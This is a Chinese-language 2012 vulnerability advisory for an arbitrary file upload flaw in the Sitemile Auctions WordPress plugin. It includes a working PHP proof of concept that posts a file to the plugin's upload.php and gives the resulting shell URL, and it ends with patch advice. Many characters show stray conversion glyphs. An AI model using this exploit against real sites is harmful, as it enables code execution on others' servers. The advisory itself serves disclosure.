發(fā)布日期:2012-06-19
更新日期:2012-06-20
受影響系統(tǒng):
WordPress Sitemile Auctions Plugin 2.x
描述:
--------------------------------------------------------------------------------
WordPress是一種使用PHP語言和MySQL數(shù)據(jù)庫開發(fā)的Blog(博客、網(wǎng)志)引擎,用戶可以在支持PHP和MySQL數(shù)據(jù)庫的服務(wù)器上建立自己的Blog。
Sitemile Auctions Plugin for WordPress 2.0.1.3之前版本的wp-content/plugins/auctionPlugin/upload.php腳本允許上傳任意擴展名的文件到webroot文件夾中,可通過上傳惡意PHP腳本執(zhí)行任意PHP代碼。
<*來源:Sammy Forgit
鏈接:http://secunia.com/advisories/49497/
http://www.opensyscom.fr/Actualites/wordpress-plugins-wordpress-auctions-plugin-arbitrary-file-upload-vulnerability.html
*>
測試方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能帶有攻擊性,僅供安全研究與教學(xué)之用。使用者風險自負!
Sammy Forgit ()提供了如下測試方法:
PostShell.php
<?php
$uploadfile="lo.php";
$ch = curl_init("http://www.exemple.com/wordpress/wp-content/plugins/auctionPlugin/uploadify/upload.php?folder=/wordpress/wp-content/uploads/");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('Filedata'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
?>
Shell Access : http://www.exemple.com/wordpress/wp-content/uploads/lo.php
Filename : [CTRL-u] PostShell.php after executed
lo.php
<?php
phpinfo();
?>
建議:
--------------------------------------------------------------------------------
廠商補。
WordPress
---------
目前廠商已經(jīng)發(fā)布了升級補丁以修復(fù)這個安全問題,請到廠商的主頁下載:
http://wordpress.org/